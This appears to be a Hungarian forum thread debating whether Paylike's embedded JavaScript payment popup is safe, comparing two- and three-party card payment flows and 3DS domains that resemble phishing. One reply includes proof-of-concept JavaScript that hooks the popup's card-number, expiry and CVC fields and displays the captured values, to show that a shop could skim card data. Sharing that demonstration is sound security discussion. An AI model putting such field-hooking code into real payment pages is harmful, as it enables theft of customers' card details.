Paylike online fizetés popup-ban a saját oldaladon ez secure?

Web, mail, IRC, IM, hálózatok

Egyik ismerősömnek csinálok pár dolgot, egy fizetési megoldáshoz a fenti szolgáltatót szeretné.

Ahogy nézem, a támogatott verzió a popup. Egy sima javascriptes hívás az egész. Felugrik az oldaladon az ablak (div-ben) és ott adhatod meg a kártya adatokat.

Kipróbáltam teszt accounttal localhost-ból http-s oldal alól meg minden. Működött.

Example:
https://paylike.io/features/payment-popup

Ettől engem a hideg kiráz. A saját oldalamon bekérni a kártya adatokat? Ez már alapból is problémás és sok felelősséget hoz magával. A másik, hogy tuti nem adnám meg a kártya adataimat ha az nem egy hivatalos fizetési oldalon történik. Nagy cégeket kivéve én csak a 3 szereplős fizetést támogatom. Bár 2 szereplősnél is általában egyszer használatos kártyával fizetek.

Szóval nem tudom. Valaki ismeri a fenti szolgáltatót? Lehet valamit félrenézek?

  • 563 megtekintés

( realkry | 2022. 01. 01., szo – 11:53 )

https://github.com/paylike/sdk

A webshophoz nem fut be kártya adat, a folyamat is a megszokott: tranzakció inicializálás, vásárló átirányítása a fizető helyre (ebben az esetben ez  itt a js popup) itt megadja az kártya adatokat, majd visszairányítás a shopba ahol a hozott ID alapján le kell kérdezni az adott tranzakciót. A megfelelő ellenőrzések után és a paylike válasza alapján el lehet dönteni hogy a fizetés sikeres volt e.

Javits ki ha tevednek de vegig a shop oldalan marad minden. Nem tortenik klasszikus redirect es nem a megbizhato gateway oldalon tortenik az adatok megadasa. Ez igy konkretan 2 szereplos fizetes.

De teny, hogy nem probaltam meg ki, hogy el tudom e kapni a beirt karzyaadatokat. Lehet van valami vedelem ra bar nem hiszem.

3 szereplős. A shop nem tud a bankkártya adatokról, a bank nem tud az összeválogatott cuccokról, a vásárló nem tud (semmiről :)) a háttérben a shop és a bank közötti folyamatokról.

A riadalmat itt az okozza hogy kártya adatokat kérő űrlap js layer; és látszik alatta a shop oldal. A js a paylike oldalról 'jön' a shop felparaméterezi a konkrét vásárlás adataival (összeg, currency, submit utáni url ahova redirectelni kell). A kártyaszám és egyebek beírása után lesz egy valódi redirect a shop tranzaction capture részére. Itt egy $paylikeapi->transactions()->fetch($trid) után meg kell nézni hogy minden rendben volt e, ha igen akkor jöhet  a $paylikeapi->transactions()->capture([...])

Ha ez utolsó sem dobott exception-t sikerült a fizetés.

Szerintem neked én nekem más elképzelésünk van a biztonságos fizetésről :)

https://kepkuldes.com/image/JxKMBY

Kb 5 perces kódolással értem el, hogy a fizetés gombra katttintva elkapjam a kártya adatokat, mindent. Azt lopok le amit akarok. Aztán kínából 3ds azonosítás nélkül lopok tőled lóvét.

A 3 szereplős fizetésben egyértelműen és technikailag is elkülönülnek a felek egymástól, amennyire csak lehet.

Egy igazi 3 szereplős fizetésnél a kártya adatok megadása olyan módon történik, hogy a shop nem tudja elkapni és nem is láthatja.

A 2 szereplős fizetésnél a kárya adatokat  lényegében te kéred el és küldöd el a gateway irányábna. Teljesen mindegy, hogy a formot a paylike generálja ki nekem és ő adja a scriptet ami  postolja az adatokat. Az is mind1, hogy egy backend oldalon teszem vagy frontend oldalon. Valszeg ha akarnám, akkor meg is írhatnám a form klienst helyettük.

A 3 szereplős fizetés egyértelmű előnye, hogy a felelősséget nem a shop vállára teszik rá. Márpedig a fenti esetben ha valakinek a kártyájával visszaélnek, akkor gyanúba kerülhet az oldalam, hogy esetleg nem e mentettem el a kártya adatokat a fizetésnél.

 

Csak érdekességképp a kód:

<html>
<head>

<script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
</head>
<body>

<script src="https://sdk.paylike.io/10.js"></script>
<script>
function waitForElm(selector) {
    return new Promise(resolve => {
        if (document.querySelector(selector)) {
            return resolve(document.querySelector(selector));
        }

        const observer = new MutationObserver(mutations => {
            if (document.querySelector(selector)) {
                resolve(document.querySelector(selector));
                observer.disconnect();
            }
        });

        observer.observe(document.body, {
            childList: true,
            subtree: true
        });
    });
}

  const paylike = Paylike({key: '*****************'})
  paylike.pay(
    {
      test: true,
      amount: {currency: 'EUR', exponent: 2, value: 1499},
      title: 'The Any Tool Shop',
      description: '2x your favorite tool',
      custom: {orderId: 1234},
      text: 'Any Tool Shop*1234',
    },
    (err, result) => {
      if (err) return console.log(err)
      console.log(result.transaction.id)
    }
  )
  
  var number;
  var exp;
  var cvc;
  
  waitForElm('#card-number').then((elm) => {
    console.log('Element is ready');
    console.log(elm.textContent);
	
	$('#card-number').change(function(){
		//alert($(this).val());
		number = $(this).val();
	});
	$('#card-expiry').change(function(){
		//alert($(this).val());
		exp = $(this).val();
	});
	$('#card-code').change(function(){
		//alert($(this).val());
		cvc = $(this).val();
	});
	
	
	$('.action button').click(function(){
		alert('Lelopva: ' + number + ' - ' + exp + ' - ' + cvc);
	});
});


</script>
</body>
</html>

Attól, hogy js-layer, még az adott webshop rakja össze az oldalt, onnan jön a tartalom, ott hivatkozzák be a layer-t kipakoló js-t. Az ügyfél azt látja, hogy a webshop oldalán van, ott kérik tőle a kártyaadatokat, nem pedig egy beazonosított banki/fizetési szolgáltatói oldalon. Az, hogy egyik certtel működő oldalba másik https-es aktív tartalmat be lehet ágyazni úgy, hogy nem rinyál, hogy nem minden onnan jön, amia címsorban van, az lehet, hogy qrvakényelmes(nek tűnik), de rohadtul vissza lehet vele élni.

Az átlaguser azt sem tudja megmondani, hogy a háromszereplős fizetésnél a http://super-secure-payment.totally-not-scam.ng site vajon legitim-e. :)

Én pl. faszán bejelentettem a phishing próbálkozást a banknál, amikor anno valami webshopnál egy litván (?) címre irányítottak át fizetéskor. Kiderült, hogy az egy legitim magyarországi bank gateway-e volt, talán az unicredité, de fixme. És érted, akkor még nem beszéltünk a 3DS providerekről, ahol teljesen mindennapi gyakorlat, hogy nem a bank domainjén fut a cucc, hanem valami https://fasza-commerce.extremely-secure.info vagy hasonlón.

Mindezt úgy, hogy bankoknak és bankokkal dolgoztam az elmúlt X évben, (bár limitált retail banking tapasztalattal), de azon belül konkrétan 3DS implementációkon is. Mit kezdjen a helyzettel az, akinek lövése nincs az egészről?

No igen... A 3ds providerek be tudnak kavarni, bár ott a bank -> ügyfél kommunikációban is lehetnek khm. hiányosságok - célszerű előre tájékoztatni az ügyfeleket, hogy "jövő hónaptól 3DS bekapcs, és ezt az xyz szolgáltató fogja nyújtani, azaz a 3ds azonosítást kérő oldal címsorában az xyz.asd fog szerepelni...

A 3ds-t csak úgy mellesleg hoztam ide, de most kikerestem, erről beszéltem:

https://secureshop.firstdata.lv/

Hát bazzeg, messziről üvölt róla, hogy phishing, aztán mégsem. Totally legit. És erről nem tud a bankod tájékoztatni, mert ahány háromszereplős gateway, annyiféle elcseszett URL.

( radulovity | 2022. 01. 01., szo – 12:05 )

Blockolom a popupokat, ha van fontos info, azt main screenen kozoljek. 

En stripe-t hasznalok egy jo ideje, es szepen mukodik, nem tul draga es jol integralhato woocommerc-be.

Az egesz api integralva van, nem hagyod el az oldalt fizetes kozben. Nalad nem marad kartya adat.

Hasznaltam braintreet, ok is jok, a user nem megy sehova se az oldaladrol fizetes kozben.

Mindkettonel megy az elofizetes, akar ismetlodo is.

Ettol fugetlenul, user szempontjabol nem tul biztato a ha ugralnak ki a popuok, kuldozgetik masik oldalra, stb.